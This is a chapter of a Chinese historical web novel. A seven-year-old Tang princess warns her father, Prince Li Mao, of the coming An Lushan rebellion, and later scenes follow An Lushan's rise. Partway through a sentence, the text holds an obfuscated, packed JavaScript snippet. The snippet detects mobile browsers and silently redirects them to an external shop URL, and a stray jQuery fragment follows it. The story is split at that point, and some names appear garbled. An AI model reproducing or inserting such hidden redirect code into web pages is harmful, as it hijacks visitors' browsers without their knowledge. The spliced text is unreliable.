李应灼回到驿站时,微微细雨已经停了。檐角的水珠滴落在青石板上,发出清脆的声响。她让夏叶将春笋交给驿站的厨子,自己则站在廊下,看向李琩的住处,杜侧妃的咳嗽声隐约可闻。
“六娘,”温嬷嬷看到李应灼好好地回来了,松了口气,“可算是回来了,大王那边都让人来问了两回了,还说明日晴了便要准备启程了,你得早点歇息着。”
李应灼仰头看了看温嬷嬷,拉住她的手摇了摇问道:“嬷嬷,你说我聪慧吗?”
温嬷嬷笑着拢了下她的头发,说:“自然是聪慧的。嬷嬷我在长安城也算是见了不少的高门望族家的贵女们,但是就没有谁和我们小六娘一样聪慧呢。”
在温嬷嬷看来,哪怕是武惠妃,年幼的时候也比不上李应灼的聪明伶俐呢。
“嬷嬷心里头我就是蠢笨如猪,也是个聪慧的。”李应灼甜甜一笑,做出了决定,“嬷嬷,我有些事想跟阿耶说,您先回房去,我说完就回来。”
温嬷嬷诧异道:“这个时候大爷应该才服了药,要不你明天再去找大王说去?”
“嬷嬷,是特别重要的事。”李应灼晃了晃温嬷嬷的胳膊,“我很快就会回来了。”
温嬷嬷点了点李应灼的额头,送她去了李琩的院子。
李琩正在靠在榻上翻看着一本佛经,看到李应灼进来了,有些惊讶地问道:“六娘怎么这个时候过来了?”
“阿耶,我有些话想和您讲,”李应灼抬起,让小宦官和侍女们去避了出去后,直视着父亲的眼睛,正色道:“阿耶,我和你说一个故事吧,这个故事有些长。有一位皇子在十五岁的时候,娶了一位年轻貌美的王妃。皇子和王妃过了五年的幸福生活,可是很快变故就来了……直到十四年后,渔阳鼙鼓动地来,惊破霓裳羽衣曲。深受皇帝宠爱的胡人边将做了平卢、范阳、河东三镇节度使,手握十八万精兵。天宝十四载十一月,他在范阳起兵,说是要清君侧、请诛奸相杨国忠。”
李琩本来就苍白的脸色变得越发苍白了,他的手指猛地攥紧了锦被。
“河北三镇的铁骑一路南下,不过旬日之间,河北二十四郡,全都望风而降。很快叛军就攻入了长安城,老皇帝居然带着贵妃和诸多皇亲抛弃了长安城,抛弃了那城中百万的百姓。”
“住口!”李琩低声喝道,他拉着李应灼的手追问道:“这些话是谁告诉你的?你可以怨恨你阿娘,乃至圣人,但是不可以拿整个大唐来说事!”
“阿耶,你觉得谁能和我说这些?而且你就真的看不到吗?我们出了长安城,看到了盛世繁华下那些挣扎求生的百姓们是何等的艰难。还有圣人,他是你的父亲,你应该了解他,他不相信他的儿子们,不相信张九龄张相公这样的贤臣,相信的是李林甫那样的奸吝小人,相信的是那些巧言令色的胡族将领。”
“阿耶,我做的这个梦很长,天宝四年,圣人将改年为载,这一年,陇右节度使皇甫惟明将受诬致死。阿耶要是不相信的话,我可以说个近来应该会发生的事情,那个发生叛乱的胡将名叫安禄山。他如今为卢龙军指挥使。但是很快,他就会被圣人任命为卢龙节度使。”
屋内顿时死一般的寂静,就是李琩的呼吸都不自觉地屏住了。
“你……”李琩的声音沙哑,“你那梦中的贵妃,是你阿娘?”
李应灼没想到李琩听到这个最关心的居然还是杨玉环,抿了抿唇道:“是的。阿耶,梦里寿王府很幸运,被圣人带着一道逃出了长安城。可是梦里的我,没有活着走到蜀地。不过最让我伤心的是长安城,我大唐的煌煌国度雄伟无比的长安城,在被叛军占了之后,迎来了叛军的烧杀抢掠。朱雀大街上的血,许久许久后都没有干。”
李琩定了定心神,嘶哑着声音问道:“你今日告诉我这些,是想做什么呢?你母亲已经入宫了,那你阿耶我,将远离长安城,是没有可能阻止十多年后的那场叛乱的。”
“阿耶,在那场叛乱之后的大唐,再也回不到从前了。藩镇割据,宦官专权,民不聊生。我虽年幼,但是也想在那场叛乱来临时活下来,如果能够庇佑更多的人活下来,就更好不过了。所以阿耶,你要帮我!”
“你要我如何帮你?”
“我要钱,要人,要粮食,还有粮种,”李应灼的眼睛亮起来,“阿耶,凉州是河西节度使的治所,是丝路重镇。但是在那场叛乱之后,河西走廊被吐蕃切断,凉州孤悬塞外,百姓流离。我想要在凉州建一座城,一座能自给自足的城。屯田、练兵、蓄粮、招揽流民和工匠。”
“胡闹,”李琩皱眉,“你才七岁,朝廷岂能让你这么做?”
“现在当然不能大张旗鼓地做了,等到能大张旗鼓地做了,”李应灼打断他,“朝廷那边想法子糊弄过去就行了。阿耶,那也是我们立足自保的资本。”
李琩闭上了眼,半晌之后他睁开双眼,伸手摸了摸女儿的发顶。“好,”他说,“等长安城那边的消息,若是真有安禄山被封为卢龙节度使得话。”
与此同时,千里之外的营洲柳城,天宝元年的春风虽然已经吹拂过关中大地,但是远在北方的营州柳城里,依旧是寒意逼人。
安禄山裹着一件狐裘,独自坐在节度使府的偏厅中,屋子里摇曳的烛光将他的影子拉得很长,投在光滑的地面上好似一头肥壮凶猛的大熊。也不知道等了多久,终于等来了访客,来自范阳节度使裴宽派来的幕僚。
那人给了安禄山想要的东西,临走时意味深长地说:“安将军,裴公很赏识你。”
安禄山待那人走远不见了,他方低头看向自己的肥壮的双手,这双手曾偷过羊,杀过人,也曾在幽州节度使张守珪帐下接过印信。张守珪骂他“胡儿”,却也给了他一个安的汉家姓氏。如今张守珪死了,死在贬谪的路上,而他安禄山,活得好好的,如今已经是平卢军兵马使,很快就会是平卢军节度使了!
安禄山哈哈大笑起来,半晌后,心腹严复悄无声息
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708573|208373||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地进来了,等他笑罢了,才低声说:“将军,长安来的书信。”
安禄山拆开蜡封,就认出是户部侍郎王?的亲笔书信。信很短,只有一句话:“尽快入朝。”
安禄山又畅怀大笑起来。王?是宰相李林甫的人,而口蜜腹剑的李林甫,最忌惮的就是边将和朝臣勾连。然后李林甫没想到的是,王?虽然贪财也惧怕自己,但是,他安禄山,能给王?献上粟特商人源源不断的金银财宝,压过了他的惧怕。
“传令下去,大部准备,明早三更拔营,目的地奚人部落。”安禄山大声吩咐说。
严庄一怔:“明早?”
“就是明早,”安禄山伸出双手等亲卫帮他披上重甲,大笑道:“本将军不日将要去长安面圣,给圣人最好的礼物便是奚人大首领的脑袋!”
一夜混战,天还未亮战事已经结束了。安禄山坐在马背上,他的长刀被亲卫扛着,其上的血迹还未干。他却没有觉得疲累,而是饶有兴致地看着自己的部将史思明带着兵卒们清点俘虏和抢来的财物。
史思明是他少年时一起在营州市井里厮混的好兄弟,如今自己发达了,自然要拉一把这些兄弟了。如今史思明是他手里最锋利的刀,也是最好用的刀。因为史思明这人话很少,但对自己吩咐的话又一个字不漏地做好。
“一共有三百七十一颗首级,”史思明报数,“活口八十九,其中妇孺斩六十二。”
“妇孺放了,”安禄山说,“让她们回去和那些突厥人、契丹人们说,我安禄山比汉人更加仁义。”
史思明扫了一些地上那些脑袋,说:“但如今这些首级不够报功。”
“够了,”安禄山眯起眼,“圣人会看到我的忠心的。”
他拨转马头,望向南方,长安在那个方向。那里有天下最高的权力,而很快但他安禄山就会从那里得到他想要的东西。
他安禄山会跳胡旋舞,会说突厥话、粟特话、契丹话,会装憨扮傻。更重要的是,他是一个胡人,在圣人眼里,边将是胡人,代表着粗鄙,代表着在长安没有任何依靠,能够依靠的唯有圣人而已。
二十天后,奚人酋长的首级和安禄山一起到达了长安城,玄宗大喜,不顾李林甫的劝阻,让安禄山做了平卢节度使。
消息传至新丰寿王处,李琩沉默了许久,“渔阳鼙鼓动地来,惊破霓裳羽衣曲!”“天长之久有时尽,此恨绵绵无绝期!”
他为大唐的未来担忧之时,心里竟然隐隐浮现出一丝快意来:圣人自诩御及天下数十年,无论是谁都在他的掌控之中。可到头来,居然被他最信任的将领给反了,还逼杀了杨玉环!
但到最后,他心里又浮现出深深的悲哀来,为大唐,为自己,也为这天下的百姓。罢了,自己是个软弱无能的人,六娘虽然年幼,但是个做大事的人,或许她能做到她想做的事呢?
李琩想通了,便将李应灼、温嬷嬷和龚长史等人都唤来了,让他们以后都要听李应灼的吩咐。